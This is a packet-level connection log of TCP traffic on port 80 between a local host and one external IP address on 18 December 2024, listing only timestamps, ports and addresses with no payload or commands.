Dec 18, 2024 14:08:07.220722914 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:07.220876932 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:07.220890045 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:07.220916986 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:07.222038031 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:07.222064972 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:07.222109079 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:07.222769022 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:07.222834110 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:07.222857952 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:07.224076986 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:07.224091053 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:07.224272013 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:07.224725008 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:07.224735975 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:07.224850893 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:07.225373983 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:07.225682020 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:07.225729942 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:07.226317883 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:07.226331949 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:07.226372957 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:07.227381945 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:07.227392912 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:07.227433920 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:07.228451967 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:07.228466034 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:07.228513956 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:07.228910923 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:07.229021072 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:07.229069948 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:07.229955912 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:07.229969025 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:07.230005026 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:07.231080055 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:07.231266975 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:07.231347084 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:07.232033968 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:07.232069016 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:07.232109070 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:07.233203888 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:07.233218908 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:07.233308077 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:07.234741926 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:07.234760046 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:07.234816074 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:07.235433102 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:07.235692978 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:07.235706091 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:07.236298084 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:07.236311913 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:07.236350060 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:07.237106085 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:07.237121105 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:07.237168074 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:07.238178015 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:07.238193035 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:07.238491058 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:07.239207983 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:07.239221096 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:07.239254951 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:07.239447117 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:07.239516020 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:07.239567995 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:07.240235090 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:07.240278006 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:07.240307093 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:07.241106987 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:07.241169930 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:07.241323948 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:07.242273092 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:07.242285967 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:07.242362022 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:07.243006945 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:07.243050098 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:07.243108988 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:07.243869066 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:07.244350910 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:07.244398117 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:07.244807005 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:07.244848967 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:07.388334036 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:07.388351917 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:07.388430119 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:07.388561010 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:07.388705969 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:07.388783932 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:07.389534950 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:07.389668941 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:07.389719009 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:07.390453100 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:07.392332077 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:07.392405987 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:07.392437935 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:07.392986059 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:07.393006086 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:07.393055916 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:07.394010067 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:07.394287109 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:07.394342899 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:07.395165920 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:07.395217896 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:07.395427942 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:07.395570040 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:07.395891905 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:07.396630049 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:07.396820068 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:07.396960974 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:07.397689104 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:07.397831917 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:07.397891045 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:07.398581982 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:07.398688078 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:07.398832083 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:07.399374008 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:07.399394035 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:07.399451971 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:07.399996996 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:07.400017977 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:07.400578976 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:07.400634050 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:07.400669098 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:07.401310921 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:07.401535034 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:07.401658058 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:07.401740074 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:07.402710915 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:07.402724981 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:07.402779102 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:07.403354883 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:07.403526068 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:07.403583050 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:07.404388905 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:07.404457092 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:07.404526949 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:07.405340910 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:07.405421972 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:07.405502081 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:07.406161070 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:07.406279087 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:07.406694889 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:07.407150030 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:07.407221079 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:07.407278061 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:07.408061028 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:07.408194065 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:07.408273935 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:07.409240961 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:07.409254074 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:07.409315109 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:07.409924984 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:07.410053015 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:07.410233974 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:07.411171913 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:07.411231041 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:07.411526918 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:07.412297964 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:07.412312031 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:07.412409067 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:07.413002968 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:07.413017035 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:07.413075924 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:07.413851023 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:07.414026022 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:07.414232016 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:07.414899111 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:07.414962053 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:07.415225029 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:07.415572882 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:07.415616989 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:07.415668011 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:07.416465044 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:07.416549921 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:07.416621923 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:07.417377949 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:07.417500973 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:07.417656898 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:07.418401957 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:07.418517113 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:07.419238091 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:07.419358969 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:07.419377089 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:07.419445992 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:07.420394897 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:07.420408964 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:07.420520067 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:07.421262980 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:07.421365976 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:07.422055960 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:07.422107935 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:07.422250986 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:07.422408104 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:07.423120022 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:07.423134089 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:07.423213005 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:07.424204111 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:07.424216032 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:07.424282074 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:07.424890041 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:07.425004959 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:07.425060987 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:07.426237106 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:07.426249981 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:07.426307917 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:07.426846981 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:07.427031040 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:07.427115917 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:07.427871943 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:07.427886009 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:07.427989006 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:07.428630114 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:07.428855896 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:07.428929090 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:07.429608107 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:07.429725885 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:07.429908991 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:07.430567980 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:07.430581093 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:07.430635929 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:07.431452990 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:07.431535959 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:07.432205915 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:07.432729959 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:07.432744026 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:07.432807922 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:07.433978081 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:07.433991909 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:07.434061050 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:07.434254885 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:07.435039043 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:07.435208082 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:07.435244083 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:07.435262918 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:07.435434103 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:07.436108112 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:07.436249971 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:07.436321974 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:07.437119961 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:07.437446117 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:07.437525034 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:07.438234091 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:07.483923912 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:07.580104113 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:07.580252886 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:07.580313921 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:07.580571890 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:07.580657005 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:07.580780029 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:07.581506968 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:07.581902027 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:07.581943989 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:07.582562923 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:07.584465981 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:07.584481955 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:07.584518909 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:07.584709883 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:07.584767103 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:07.585177898 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:07.585191011 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:07.585235119 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:07.586671114 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:07.586684942 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:07.586736917 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:07.586739063 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:07.586918116 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:07.586971045 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:07.587784052 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:07.587846041 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:07.587901115 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:07.588679075 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:07.588741064 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:07.588799000 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:07.589658976 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:07.589679003 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:07.589718103 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:07.590631962 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:07.590675116 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:07.590889931 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:07.591794014 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:07.591811895 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:07.591859102 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:07.592392921 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:07.592430115 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:07.592510939 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:07.593369007 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:07.593595028 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:07.593656063 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:07.595197916 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:07.595211983 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:07.595225096 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:07.595267057 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:07.595329046 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:07.595416069 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:07.596900940 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:07.596916914 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:07.596962929 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:07.597039938 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:07.597227097 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:07.597276926 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:07.598006964 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:07.598162889 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:07.598213911 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:07.599056005 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:07.599121094 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:07.599165916 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:07.600147963 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:07.600296974 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:07.600362062 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:07.601202011 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:07.601269960 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:07.601327896 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:07.602210999 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:07.602225065 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:07.602297068 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:07.602715969 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:07.603293896 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:07.603600979 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:07.603652954 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:07.603765011 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:07.603820086 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:07.604608059 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:07.604717970 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:07.604763031 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:07.605459929 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:07.605601072 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:07.605645895 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:07.606520891 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:07.606573105 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:07.606625080 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:07.607382059 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:07.607511044 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:07.607563972 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:07.608593941 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:07.608608007 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:07.608666897 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:07.609652996 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:07.609667063 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:07.609711885 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:07.610781908 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:07.610794067 CET	80	49780	176.113.115.178	192.168.2.9
